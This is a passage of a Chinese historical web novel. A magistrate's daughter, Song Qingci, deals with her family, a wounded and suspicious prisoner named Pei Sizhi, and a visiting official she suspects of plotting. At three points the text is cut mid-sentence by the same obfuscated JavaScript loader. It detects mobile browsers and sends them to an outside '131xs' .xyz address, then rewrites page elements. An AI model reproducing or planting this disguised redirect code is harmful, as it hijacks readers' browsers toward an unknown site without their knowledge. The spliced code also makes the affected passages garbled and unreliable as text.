裴肆之被官兵带走审问后,宋清词嘱咐了一句“小心看顾”就转道回了太守府,手里还拎着热乎的酒酿圆子。 “好可爱的小狗狗!我就知道阿姐对我最好了!”年仅六岁的昭儿翘着脚坐在长榻上,两只小手虚虚地拢着雪白幼犬的头,一副心生喜爱又不大敢触碰的样子。 相比之下,那幼犬可比他的胆子大多了,不仅主动舔了昭儿的掌心,还蹒跚着往他怀里拱,幼童和幼犬搂在一处,安逸得不得了。 如果旁边没有站着一个双手掐着腰、怒目圆瞪的美妇人。 “宋清昭——” “哎呀。”昭儿吭唧着打断这声暴喝,眼睛还瞄着一旁的小词,“这可是姐姐从那么远的地方一路抱回来的,阿母就让我养嘛!” “谁说不让你养了,你小子少在这混淆视听,说的是不准抱上床!”阿母说着就捋起袖子,想将小狗从他怀里夺过来。 昭儿将狗往自己身后一塞,用身子隔开阿母的动作,还不忘了吐舌头气她,“就不就不!我要抱着小狗睡午觉,小狗狗就应该睡床!” “胆儿肥了啊你,没有我的允许我看看今天谁敢抱它睡觉!” “姐姐救我!姐姐救我!”眼看着招架不住阿母左右夺狗的动作,昭儿转头找救兵,“姐姐!阿姐你说……我们的小狗应该叫什么名字呀……” 宋清词慢悠悠地打开食盒,将酒酿圆子的香味放出来,才道:“你定,以后它就交给你来照顾了,不要辜负莲村王伯伯家的好意。” “要不……”昭儿的两只小手抵住阿母的肩,“就叫小白吧?” 小词的头微不可察地颤动了一下。 “小白?这么草率的名。”阿母甩甩手,看似懒得与他一般见识,实则整个人都被酒酿圆子的味道勾了过来,她从小词僵直的手里拿过她提前备好的碗筷,率先吃了起来。 “可以嘛?姐姐。” “可以。”宋清词微微一笑,重复了句:“可以叫小白。” “嘿嘿。”昭儿笑得开怀,想将小白高举起来欢呼又怕摔着它,于是便朝着小白高举双手道,“以后你就叫小白咯!以后我就有小狗咯!” “小词,别管他,且得疯几天呢。”阿母往小词碗里分了几颗圆子,“来,吃。凉了就不好吃了。” “阿母,我先不吃了。今天有个案子不大寻常,我赶着去问一下林叔。”宋清词站起身来,从丹娘手里接过大氅。 “刚回来就走?干嘛这么急,火烧眉毛啦?”阿母又将小词一把拉回来,“欸,你知不知道,州牧遣了一位主簿来辽东郡巡查了。” 宋清词蹙了蹙眉,“不知道,什么时候的事?” “就今日啊,在你快回来的时候吧。你阿父一接到消息,就急急忙忙出门去了。外头正动荡着呢,州府这时候派人来,会不会是要出事?” 小词瞧着她紧张的神色,忍不住笑了一声,“阿父急急忙忙,那是因为他又躲懒,没好好上值吧?” 阿母闻言,神情放松几分,也跟着她笑,“他那阵子正劝我别总生气呢,说什么对身体不好,劝得我耳朵都要起茧子了。不过也是,你阿父这个接待外宾的吏员,一年到头也忙不了几日,他当然是最会躲懒的。” “即便州府真的有要事,阿母也不必忧心。”宋清词站在阿母身侧,敛眸为她斟茶,“这已经不是十几年前我们受州牧诸多挟制的时候了,如今辽东郡的兵马和税收皆占幽州三成有余,我料他们不敢造次。” 她一语道破阿母层层叠叠的心思,倒让阿母笑容下的神伤减去几分。 “果真吗?” “阿母,宋家今非昔比了。” “是,在徐子猷手里讨生活的日子早就结束了,他们再也做不到逼你阿父自断一腿这样的强盗之事了。”阿母喃喃道,“只是州府每次派人下来,都恨不得将辽东上下搜刮个遍,也不知这次又要图谋什么。” “若他们所图正当,阿翁不会不允;若他们为一己私利不顾民生,阿翁也定有应对之策。”小词弯下腰来,将下巴搭在阿母肩上,用极亲密的距离安她的心,一双杏眸忽闪忽闪地眨,“我在外面,帮阿母保护阿父和阿翁,保护我们一家人,好不好?” 与平日里的小词有些不同,她此刻离杜婉那样近,让杜婉足以看清她脸上的绒毛、目中的真挚,看清这个——平日风里来、雨里去,大部分时候都挂着浅浅的笑,眼中偶尔流露出的忧愁总令她不解,满脑子都是兵法和策论的姑娘,也是可以趴在娘亲肩头撒娇的十六岁少女。 也许正是因为杜婉对于小词的好奇和渴求,才能让小词屡屡转移她的视线。 “宋清词,天塌下来有个高的顶着,这个家还没轮到你来顶呢。”杜婉板着脸点了点小词的额头,果然没再提宋父断腿的伤心事,“你喜欢在外面学东西我管不了你,但你要是为了保护这一家子而涉险,你看我……” “我怎么会!您没听到阿翁昨天晚饭时夸我稳重机敏,从不冒失吗!” 阿母提了口气,眼珠转了转,想想似乎确实有这一桩事,又不放心地嘱咐,“你阿翁总夸你机敏,但你也不要在外面太逞强了。别忘了,你不是官身,偶尔献策参与公务也没领他们那份俸禄,你是去增长见识的,不是去干活的!前年咱们郡和北边乌桓开设关市,你跑到望平县一待就是大半年,你听听这稳重吗?妥帖吗?拿自己的安危和声誉当回事吗?” “我的好阿母,与外邦的关市贸易是稳固边境和平的头等要事,对辽东的税收也大有益处,我这才上心了些,而且我哪里是待了大半年,明明中间还回来了两次!早知道要被您念叨这么久,说什么我也不去了。”宋清词撤回自己的小脑袋瓜,昂起头来,傲娇道:“我可不在这听您说了,我要去看看那个主簿有没有为难我阿翁阿父,要是有的话,我就给他左右眼各一拳,告诉他都是我阿母让我打的。” 这回稳重、妥帖,拿自己的安危和声誉当回事了吧。 “你个小丫头,你敢调侃你阿母!” 宋清词早已背着双手,洋洋洒洒地逃离现场。 唯有门口为小词牵马的小厮瞧见了自家大姑娘的神情渐渐凝重,不明所以。 宋清词没法不多想。 中原各州近日奉命镇压起义军,正是借此时机招兵买马、囤积和拉拢力量的时候,却有外乡人在辽东郡地界遭遇追杀。如果李翁所述属实,连地上血迹都在打斗后有人清理,那恐怕是一支训练有素的队伍分批进行的刺杀行动,其人数更是难以想象。 倘若假设成立,那男子被她救走关进大牢,辽东大牢守备森严,杀手刺杀无门后肯定要另寻时机。 而那个连着两三年没有派人巡查辽东的幽州州牧,今日便派人来了。 是巧合吗,可州牧的人是不是来得太快了些。 那位州牧徐子猷,背靠袁大将军在幽州把控局势多年,若非此二人,宋家十六年前不会经历那样一场变故,那几年发生的又何止宋父自废一腿这一桩伤心事。 宋秋廷,如今的辽东太守,落魄寒门出身,十五岁时便是自发带领乡民抗击外敌的少年英雄,手持一对玄铁双戟,以百人之力于卧虎山上巧妙布置,拼死阻截敌军数千精兵,颇有一夫当关,万夫莫开之勇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480514|185618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后因屡立战功受到建章皇帝的赏识,封镇北将军。多年后北方大局已定,宋秋廷奉命回京兼任太子太傅,入国家明堂,此职足见当时皇帝对其的栽培之心,可谓是意气风发,红极一时。 谁料好景不长,还未等储君长大,建章皇帝便突发恶疾无法临朝,京城局势在那一息之间发生巨变,在京扎根最深的袁靖卿大将军深夜带兵披甲入宫,逼迫建章皇帝改立袁妃的襁褓幼子为储君,秘密处决废太子。 竖日总揽朝政,宣称废太子便是给皇帝下毒的罪人,判定废太子近臣有教唆或失察之责,能杀则杀,能贬则贬,总之要悉数调离出京。 这一切发生得太快,几乎是早有预谋的一场谋逆,哪里是刚刚迈入京城朝廷中枢——清正十足、权谋不足的宋秋廷能扭转的局势。 别说局势,就连自己和家人的命,他也保不住了。 泼天的罪名剥去了他的官职和兵权,昔日同僚被一个接着一个地带走,他却被留到了最后。 据说,是镇北军中的将领们联合上书,力保宋秋廷为官清廉刚正,断然不会行此大逆,袁靖卿顾忌着宋秋廷在北方诸军中的威望,这才从赐死行列中移了出来。于袁靖卿而言,卖将士们一个人情,稳定军权和当下的大好局势更为重要。 且猖狂自大如他,也并不觉得宋秋廷有什么能力,到了让人非杀不可、不杀之便彻夜难眠的地步。 故而贬其至离京城颇远的幽州辽东郡,任辽东太守。 这职位不算低,也算是给将士们一个交代,但不是真的让他来舒舒服服的做太守,而是派幽州州牧徐子猷将宋家日夜围困监视,宋秋廷别说是想去官衙办公,全家人连出府采买都是问题,摆明了这太守只是个挂名的。 有州牧大人如此引导,辽东郡的人自然知道如何做。 若是家中只有宋秋廷和其子宋禾弦,也便罢了。偏偏杜婉那时已然怀孕九月,从京城迁移几千里至辽东时就动了胎气,现下哪里经得住这般恶劣环境。 宋秋廷仿佛用尽了毕生的低声下气,转了好几个门道,才将徐子猷请入府中一叙。他也是在赌,赌徐子猷只是奉命,并非成心为难于他,赌自己能说得动这位未曾谋面的州牧大人,恳请他给宋家指一条明路。 他算是赌赢了,那日徐子猷赏了他一句话: “大将军雄姿英发,正当壮年,宋兄年长大将军十几岁,大将军自然愿意给您一个好去处。可宋兄之子今年不过二十有三,传闻其学富五车、满腹经纶,武艺更不逊于宋兄,若来日此人怀恨入了官场,或是军营……大将军如何安枕?” 这未必是那狂妄半生的袁靖卿本人的想法,但袁党不乏有心思缜密的谋臣,徐子猷能接到这个讯号,就代表朝廷有人担心宋家到了辽东郡,会重新扎根以备日后做出反击。 守在门外的宋禾弦闻言,默不作声转身离去。 等到徐子猷喝完了宋秋廷的那盏茶,起身准备离去时,听到了偏院一声凄厉又隐忍的惨叫。 宋禾弦自行敲碎了自己的左膝骨。 宋秋廷率先飞奔过去,推门而入,只见宋禾弦整个人蜷在地上,面色惨白,双手颤抖地捂着左腿,看到自己的父亲满目凄色时,还勉强咧着嘴角安慰:“没关系啊,我本来也志不在此,我最喜欢诗文了,父亲知道的。” 身体健全,是选官的基础条件。 宋禾弦入不了朝,也习不得武了。 缓缓而至的徐子猷只轻轻瞟了一眼屋内惨象,不顾宋秋廷的脸色,开口道:“宋太守有个好儿子。” 宋……太守。 如今才是真的太守了。 5. 第 5 章 宋家给朝廷吃了这颗定心丸,原本是为的能让杜婉平安渡过这场生死关,却没想到杜婉那日不知被哪个不长眼的婆子领着,看见自家丈夫断腿的惨象受了惊,还未足月便产子,中途又遭逢难产血崩,险些没有救回来。 宋清词就是这时候降生的。 而徐子猷得以交差,朝廷才放过了宋家,宋秋廷才在徐子猷的监视下着手治理辽东郡的政务民生,不久后,京城传出建章皇帝病逝的消息,袁大将军和袁太后扶持襁褓幼子即位。这是朝臣都料得到的事,看不惯袁党作为的清流一派虽有不满,却也不算了无希望,毕竟坐在那位置上的人还是萧氏子孙,他们只消忍耐几年,等待小陛下长大后亲政,还是有机会扳倒袁党。 谁也没想到,这个有一半袁氏血脉的小陛下年仅七岁便崩。 后来袁太后又从宗室挑选幼子册立皇帝,可扶持的幼年皇帝竟都活不过十岁,宋清词降生后的十六年间,京城已然换了三任萧氏皇帝。 这十六年里,随着阿翁对辽东官府的重新洗牌和日益掌控,徐子猷对宋家的监视逐渐减少,但宋家人从未忘记那遭彻骨的痛,时时提防,不敢懈怠。 想到这,宋清词翻身上马,垂眸朝身旁的牵马小厮道:“我阿父到哪了,有传回来消息吗。” 小厮垂首抱拳,动作间便可见刚劲之气,“回姑娘,郎君此刻正在晖阳道上的燕云楼待客,方才那位言主簿吩咐郎君,传召诸司主官至衙署等候,整理一下近两年辽东的各项情况。” 宋清词冷哼了声,“要钱便说要钱,传召这么多人是要述职吗?又不是头一回,装什么样子。”又灵机一动,问道:“我阿翁怎么说?” “太守说,让他等。” 雪季来临,辽东二十万乡民才是阿翁心中的头等大事。 “天色将晚,这场集议还不知会开到什么时候。去取一件阿翁的大氅来,我先送到衙门去。” 小厮闻言称是,便要回府取衣,刚挪动步子,就见前方不远处一人一骑疾驰而来,这一路还惊了些许行人,小厮见状又回身牵住马缰,以一种隐隐护卫的姿态伫立在宋清词马前。 那疾驰的男子连忙下马,近前道:“小词姑娘,小的是奉衙门林大人之令而来!” 衙门只有一位林大人,是掌管罪法事的决曹掾林正,司法刑狱审理之事皆是由他做主,林正是宋家来了辽东后最早示好的人,这许多年里与宋家的关系颇为亲近。 “林叔有事要交代?”宋清词问。 那人又近前两步,才道:“姑娘今日晌午送来的那三名嫌犯中,有一位衣着相貌不凡、在路上还算清醒的那人,姑娘可还记得?” “嗯,记得。” “他的状况不大好,伤势太重,似乎有些不成了,提出想见您一面!”那人急急道,“因着是姑娘送来衙门的人,林大人不敢自专,只好派小的来问一声,看看姑娘的意思。” “什么叫不成了?”宋清词薄唇紧抿,“不是叫你们小心看顾,查明身份吗?你们用刑了?” “姑娘明鉴,我们确实没有为难他。此人腹部和腰间各中一刀,皆是致命伤,许是因为他那身乌金色的衣料过于遮血,或是他一路上的状态实在不像有事,衙门的同僚们便大意了,等发觉时,那人已然几近晕厥,哎……姑娘你……” 男人话还没说完,就见少女狠狠一夹马腹,扬鞭而去,又听那道清泠的话音传来:“去找城内最好的医师,务必保下此人性命!” 关押嫌犯的刑牢里,昏暗的烛光在风里摇晃,让人勉强看到角落里还倚坐着个身形修长的男子,男子额前的发丝湿漉漉地黏在脸庞,一身金贵的布料早已被血染得看不出本色,领口也被扯得松松垮垮。稍稍靠近,又见其额前的青筋凸起,双目紧阖,似乎是在梦魇中忍痛。 明明是将死的状态,身上戾气却比清醒时更胜几分,仿若一只靠着假寐捕食的狼。 林正围着昏迷的男人仔细瞧了瞧,看着对方没有半点转醒的意思,有些苦恼地拍了拍脑门。衙门里的医工两个时辰前就为男人包扎过了,听那医工的意思,血是暂时止住了,高热却降不下去,能不能撑下来还不好说。 “他奶奶的!咱们衙门从上到下都是瞎子不成,竟都没看出他这么重伤势!这是小词姑娘亲自送来的人,还没问出什么来呢就要死了?要是妨碍了什么紧要的公务,你们全都给我写了辞呈滚回家去算了!” “林叔,这案子我只是负责报官,人不算是我亲自送进来的。”一旁的女声淡淡提醒,“你们把人送进来之后,是由谁看管,又由谁主审,总该有记录吧。该是谁的责任谁担责,何必搞得兴师动众。” 她的话还是有些分量,不需林正吩咐,底下的狱卒便回禀道:“这个案子是决曹史李成沛主管的,李大人方才有事出去了,还未归……” “那还不快去找!叫他赶紧过来回话!”林正一声又一声的高喝刺激着裴肆之的耳膜,他想说他们真的很吵,但嗓子疼的厉害,眼睛勉强睁开一条缝,却见到了那张温婉又有些可恨的脸。 “你醒了?” 出奇的,裴肆之又在她脸上看到了担忧。和她晌午担心那两个死士会被她打死时,是一样的担忧。 “你怕我死?”他问了出来。 宋清词就蹲在他身前,连紧张咽口水的动作都被男人一览无遗,平添几分乖巧。 只听她不答反问:“听说你找我。” 裴肆之的目光直白而不加掩饰,“嗯,找你给我收尸。” 少女有些急了,“我送你来,是让你交代事情原委,而非想要取你性命。我已经为你请了最好的医师,稍后就会来给你诊治,你把你的事情交代清楚,这里的人不会为难你。” “我交代过了,他们不信。”裴肆之头一歪,有气无力道。 牢门外的林大人坐不住了,“这小子说他是青州贩卖丝绸的商人,是来北边送货的,刚好路过辽东时被仇家截了。哦,还说这仇家在此截杀为的就是让他死在异乡,让他的家人在青州报官时不便查案。这供词漏洞百出的,当我们都是三岁孩童不成?” “爱信不信。”裴肆之重新闭上眼睛。 “哎!你!”林正只好面朝着宋清词解释,“供词是需要核对的,只是派去青州核对的人一来一回恐怕要费上些时间。这事想速查也不难,另外两个黑衣服的已经被弄醒了,等我们撬开他的嘴,对一下口供,自然知道真假了。” 宋清词站起身来,往林正的方向踱了几步,低声道:“依林叔看,那两人是什么来历?” 林正吸了口气,沉默了片刻才道:“方才我重新检查了一下那二人的身体,我瞧着那些新伤旧伤,比寻常练武者的伤口要深得多,身上布料虽不及这位,但也算上乘。观其举止气质,初步推断是大家族里常年豢养的家将打手,或是死士。” “死士,不大好开口吧?”宋清词道。 林正望着少女的眼睛,试探地问:“要不,上点手段?” 见少女有些踌躇,他又道:“如果涉及要案,上刑也是符合司法流程的,不必担心。” 宋清词别过头,“刑罚怎可滥用,是否算作要案,不妨禀过阿翁再做决断。” “我看了你们的手段,即便是全给他们用上一遍,他们也不会说的。”角落里的男人悠悠地插嘴。 “你敢小瞧我们?”林大人怒声。 “我找你来是想和你说,别白费力气了。”裴肆之偏头朝着宋清词道,“这是我和他们的私人恩怨,不会危及到无辜之人,把我们都放了,我自有我的渠道可以让他们说实话,到那时你若还感兴趣,看在你救我一命的份上,我未必不能将真相分享给你。” 这话令宋清词心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480515|185618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警铃大震,她飞快地回绝,“衙门有衙门的规矩,如此非常时期,你们在辽东界内互下杀手,不交代清楚是走不了的。” “好啊,交代。”裴肆之轻笑一声,目光锐利,“我可以再向这位小姐交代一次,我姓裴,名四,家住青州平原郡,做丝绸生意,是来此送货的。我的仇家有很多,其实我现在也说不准那两位到底是谁家的,总之是恨我入骨吧!但冤有头债有主,他们也没伤别的人,唯独伤了我,我有权提出释放,容我们私下解决。” 他死死盯着宋清词的脸,逼迫她不得不回视他。 “我被你们押送进来之前还是好端端的,这是来往之人皆看到的事实,若是死在你们辽东大牢里,凶手可就不是隔壁那两位了。” “你大胆!”林正气得牙痒痒。 “寻常人身陷刑牢,不说慌得六神无主,也会因害怕而说几句祈求之言。反过来威胁官府的,我还是头一次见。” 宋清词走到他身前,重新蹲了下来,与他的视线持平。她望他许久,望到裴肆之都要以为她是在酝酿杀意时,她才开口:“裴公子,你特意找我来,是因为看出了我的身份?” 从她进门起,他就全神贯注地想要说服她,反倒无视身为主审官的林大人,仿佛是笃定宋清词的话有那个分量,可以保其安然离去。 裴肆之唇角弯出一个好看的弧度,气定神闲,“是啊,我猜你姓宋。” “哦?” “说起来还要谢你让我涨了见识,今日是我见过官兵来得最快的一次,寻常人报官,应该没这个力度。在辽东这种小地方,能指使得动官兵的闺阁小姐应该不多,我只好从头猜起了。” “呵。”宋清词起身,往后退了一步,眼中的情绪似乎因居高临下而变得冷漠,“我找的医师,到了吗?” 门口的狱卒抱拳回应:“回姑娘,到了。” “请进来,为裴公子看诊。” 裴肆之的眼神带着挑衅,“看来,宋小姐还是不想放我走。” “这是襄平城最好的医师,你若还想活命,就先让他给你看伤。” “看了伤又如何?最后的结果难道有区别?”裴肆之凉薄道,“诳我这等良民入狱,即便尽数交代还是得不到宋小姐的满意,莫不是你们心中早有盘算,想把准备好的罪名往裴某头上扣?我许久未踏足辽东,还真不知道最近发生了什么要案缺个凶手顶罪,不如请小姐直言,裴某好知道该如何配合。” 宋清词去而复返,单手钳住裴肆之的衣领,硬生生将男人拎起来几分,声音低沉得仿佛换了个人,“裴公子,你不必激我,辽东尚有司法秩序,你是否有罪要看证据而非谁的个人揣测和喜恶,你认为你们之间的仇怨是私事,官府也可以用扰乱治安的罪名请你来此配合调查!别想用你那套来威胁我,我不受用。” 裴肆之仰着头,任由她的动作,嗓子有些哑:“我方才果然没有看错,你没那么好脾气。” “管好你自己的事。”少女的敌意敛去几分,“先在这里活下去,才有资格和我谈离开。” 门外的周医师已经候着了,她也松开了挟制对方的手,“还有,辽东官府一般会在城外的村落聚集之处设多个联络点,以供百姓报官之用,为的就是能让附近巡逻的衙役和官兵迅速抵达,以防敌袭。不信的话,出去之后你可以找人打听一下。” 裴肆之闻言也不恼,只把手伸出去,由着医师搭脉看诊,话轻飘飘的:“明明是个没有官身的小女子,说话倒有些官气,难不成我真能将你上报州府,告你以身份之便谋私?” 宋清词反问:“公子说话没有官气,难道就一定不是官身吗?我看未必。” 成功得到那道戒备又强势的目光后,宋清词才满意地转身,朝旁吩咐的时候都带了几分好颜色:“无论如何保下他的命,千万别让他死了,等着我回来。” 6. 第 6 章 “小词这是急着回家?”林正看她大步流星往外走的身影,不禁提声问道。 宋清词一怔,回眸颔首道:“林叔,我是赶着去衙门。听说州牧下派的那位主簿待会儿要在衙门召开集议,我怕这集议开到太晚,便赶着去给阿翁送件厚衣裳。” “真是个细心的孩子。”林正笑叹道,“但你不用急,一会儿我也要参加集议,帮你把衣服带过去就是了,天色不早,你也该早点回家才是。” “您也去?”小词有些意外,斟酌着开口:“往年不是……” “谁说不是呢!往年集议都是找负责税收和军事上的官员,也轮不到我啊!但这次说各司的主官都要到,也不知是个什么章程。”林正咂咂嘴,不由分说地从宋家小厮手里拿过那件大氅,“从刑牢到衙署,半个多时辰的车程呢,小词你就不要多跑这一趟了。” “啊,我……” “好了好了,就不要跟林叔客气了啊,林叔先走了,你也记得早点回家!听见没?”男人一边说一边往外走,“差点忘了,我值房里还有十斤羊排,是你阿父托我找人买的,今天现杀的新鲜着呢!我是来不及帮他烤了,你帮我给他带回去哈!千万别忘了——” 辽东民风彪悍质朴,官员们在上值时或许还有所克制,私下里便完全顾不上了,她倒也不是头一回被这番热情堵得来不及说话。 小词一脸纠结地望着林叔的背影,低声喃喃:“可是,我还要去城东吃汤饼呢……” 还要将裴四的事上报给阿翁来着,虽然有极大可能是阿翁已经知道了。 周医师拎着药箱从牢房出来,受杂役的指引闷头踏上长廊,却见原本早该离去的宋清词正在廊下等候。宋清词这时也瞧见了对方,问道:“周医师,那人的状况如何?” “病况被拖了太久,有些不好。但身体底子还是不错的,老夫已为他施了针,这就去抓药。”周医师说完,抬眼望了她一眼,有些欲言又止的样子。 宋清词道:“有什么话,您但说无妨。” 周医师环顾左右,见来往之人少了些,才低着嗓子,言中有几分劝阻,“小词姑娘,咱们是熟人,老夫就不与您见外了。我瞧那位裴郎君身上的伤口是被包扎过了,敢问包扎之人也是您请来的?这手法也忒粗糙了些!况且此人高热不退是毒邪内侵、正气受损所至,哪怕找个医师给他开一副清热药,都不至于烧成这样!多亏你及时找了老夫,否则他这条命能不能留住还真不好说。不知您是从哪里请来的庸医,以后有事可万万不能再找他了。” 见宋清词还在思索,周医师又道:“小词姑娘,老夫可不是为了抢那人的生意哈!一番狂言,您不要觉得被驳了面子就好。” 老者的年岁比自家阿翁还长许多,宋清词幼时体弱多病,几乎是在他的诊治下长大的,自然不会与之计较什么颜面,只笑着安抚:“怎会被驳了面子呢。您且安心,那不是我找的医者,估摸是牢里负责简单处理伤口的医工。您的医术声名远扬,旁人的诊治自是入不得您的眼的。” 周医师捋了捋胡须,喃喃道:“这牢里医工的水平,已经差成这样啦……” “好了,我送您去抓药吧,如今那人身上还有疑点,还请您多费心保下他的命才是。”宋清词道。 “好好好,包在老夫身上就是了……” 踏出那道朱门,宋清词立于檐下,攥着马鞭的手抬于眉上遮阳,待到周围只剩下她与宋家小厮时才道:“宋嶙,林大人方才要送阿父的东西你可听到了?你在他跟前露了脸,就亲自跑一趟吧。” 宋嶙颔首抱拳道:“是,姑娘。” “还有一件事。”宋清词道:“去查查今日给裴四包扎的医工,是什么门路进来的,和决曹史李成沛可有联系。有了消息速来报我,不得延误。” - 几番周折,等宋清词策马赶到衙署,想要在门口堵阿翁时,得知人已经和众官员进到二堂召开集议了,她连个影都没等到。 少女似是有些气馁地鼓了鼓嘴巴,抬头望了眼即将落下的夕阳,叹了口气。 “小词姑娘,要不您先在里面坐一会,天色渐晚了,外头冷。”里头值守的官员道。 “不妨事,我去对面的书肆坐坐就好。等我阿翁忙完了,劳烦阁下转告他,我在附近等他。” “好嘞,您放心。” 跟在阿翁身边的这许多年里,等待是最寻常不过的事。 那些关于民生、军事,甚至是官场斗争中的见闻,她总要在等待的时间里在脑中消化,若有不解,或是从书中寻求答案,或是亲自游走于城乡间。她好像是个执拗的人,遇到问题总想得到一个解释,以安自己的心。 是以,若有人想找小词姑娘,只需先到城中最大的书肆瞧一瞧,八成是能找到的。 书肆掌柜瞧见宋清词甚至无需招呼,自觉将一壶清茶和烛灯摆上靠窗的那方小几,再在旁边立一扇屏风,宋清词选好了书自会坐到那里去,多半是一坐就坐到店里人都散了,掌柜准备打烊,少女才舍得从一摞摞小山似的竹简中抬起头,有些歉意地笑笑,留下几个铜板,拂袖离去。 今日也是一样。 只是往常阿翁在衙署处理紧要公务,再晚也不会比书肆打烊的时辰晚多久,而今日宋清词从书肆出来了好一会儿,也没见衙署有什么动静。 已过亥时,这位言主簿摆得好大的谱。 外头的风雪欲有重返之势,宋清词压着眉梢的火儿,穿过衙署的大门和甬道,带着一身寒气进了正堂。 值守的几个吏员闻声执礼,“夜深露重的,姑娘是不是等急了?太守大人还在二堂呢。” “什么进程了。”宋清词问。 与她更为熟悉的老吏员上前回话道:“今年的集议很是平和,诸位主官在里面待了几个时辰也没像往年那般激昂吵闹,连军营里那几位脾气暴的老将军也安心坐着呢。卑职中途进去送茶的时候瞧了眼,那位言主簿只叫各司主官挨个近前述职,偶尔还会夸赞几声,倒像是个难得的和善人。” 宋清词闻之拧眉,抬步提襟就要往二堂去。 老吏员跟在身后,继续道:“瞧着时辰早该结束了。今年的集议开了这么久,会不会是州府想表彰咱们郡府一番?” 宋清词愣了一下,应道:“是吗,那敢情好。” 说话间已然迈过穿堂到了二堂门前,听着内里传出的声响,她抬手,示意吏员止步,自己稳步慢踱到了一处槛窗前。 夜色正浓,槛窗隐住了她大半身形。她探头去往里面瞧,便见二堂上首坐着一位陌生男子,二十五六的模样,窄脸凤目薄唇,很有几分端方俊朗的好颜色,只是皙白的肤色加上瘦削的身形瞧着有些体弱,这应该便是他们口中的言主簿了。 男人面上温润如玉地笑着,浑身仪容秀整,手边放一青瓷盏,身旁站着的两名侍从正为其添茶、换暖炉,无微不至地照料着。 此刻他面前站着的恰是林正,林正手捧一卷竹简,垂首禀报着近两年较为重要的案件。台上的言主簿目不转睛地凝视着他,等到林正的话说完落座后,方才开口道:“辽东近些年的案情不多,看来是宋太守治下有功,百姓安居,无需劫掠便可过活啊。” 宋秋廷微阖的眸子慢慢睁开,他抖了抖大袖,回了一揖,“辽东能有今日气象,全都要仰赖州牧大人的明德,这是辽东郡府上下百余官员无人不晓的道理。” 言释行的话锋被挡了回来,笑意却更深,“徐州牧对幽州各郡的用心都是一样的,却没有几个郡能做到辽东的政绩。不瞒诸公,在下从京城跋涉多日到幽州,本是奉大将军之命前来辅佐州牧徐大人的,徐大人却说,若论如何为官,如何惠及一方百姓,当先入辽东——亲身体会一番才能知其诀窍。” “所以言某今日腆颜与诸位共处一室,不仅是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480516|185618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将辽东近况完整述职于州府,更有些私心是为了自己的官途,今日之后,诸位在言某心中便都是我一日之师,若我日后能在大将军和州牧跟前有所作为,定不会忘了诸位今日提携。” 如此交浅言深的一番话,放在民风一向飒爽的辽东,倒是让台下官员都松了口气。 大伙儿相互对视一眼,心中大致都有了数。怪不得这次派下来的是个不上不下的主簿呢!又是个气质华贵的年轻人,原来本意是下到地方体会民生的。 这是好事,大好事啊! 眼下各地小规模战乱频发,辽东能维持这般和平本就不易,若大将军和州牧还像往年那般向辽东索取财物,辽东民生定受影响,到时政局不稳,在场官员一个也逃不脱,没人乐意看到这个局面。 但若只是应付个富家子弟,就好办多了。 “主簿出身大家,又深得大将军的看重,日后定是有锦绣前程的贵人,我们这些个老家伙怎敢担得这‘一日之师’?这真真是抬举我们了。” “是啊,言主簿如此谦逊好学,早晚是要回到京城在陛下和大将军跟前效力的,说什么提携的话才是显得生分了!主簿想学什么,想问什么,尽管直言便是,大家相识一场便是缘分,我等必然知无不言、言无不尽的!” 言释行垂首低笑一声,从容道:“多谢诸位海涵,释行初到此地,一时间还真不知从何问起,只好先将大家所说的记录下来。”他朝底下拱了拱手,“身负重任,恐怕还要再叨扰诸位几日,等释行将此桩巡查事了了,定会在大将军面前为大家多多美言,以报此恩。” 里头是越来越捧场的架势,宋清词知道他们中的有些人是看重言释行背后的势力,即便袁党已不再如日中天,但对于地方官吏来说,多一条门路总是好的。她将目光落至久久缄默的阿翁,听着愈来愈近的脚步声也没回头,直到对方的声音出现在她身后,“姑娘,查出来了。” 宋清词点了头,示意宋嶙继续说。 “那名医工姓肖,入职和家世背景都算清白,表面上还真和李成沛没有干系。但今日肖医工原本该休沐的,是刘医工晌午突感风寒,李成沛才将此二人临时调了差。”宋嶙垂首禀报,“姑娘,贼子已然露相,只要继续查下去,不怕拿不到实证。” 却见宋清词面色一凛,“可能来不及了。” 辽东大牢原本是最安全所在,负责的官员都是早就被阿翁洗过一次的人,多年里少有差错,她原是想着即便有人暗怀鬼胎,故意耽搁裴四的伤势想要他的命,一计不成之后也会稍加整顿才会下一步动作,却不曾想今夜林正被言释行绊住了脚迟迟不归,如今大牢正是由李成沛主事。 李成沛若是甘愿舍了多年潜伏的心血,今夜就是刺杀裴四的最好时机。 如果李成沛敢动手,宋清词完全有理由怀疑,言释行今晚就是怀了刻意拖延时间的心思,为的也是裴四的那颗脑袋。 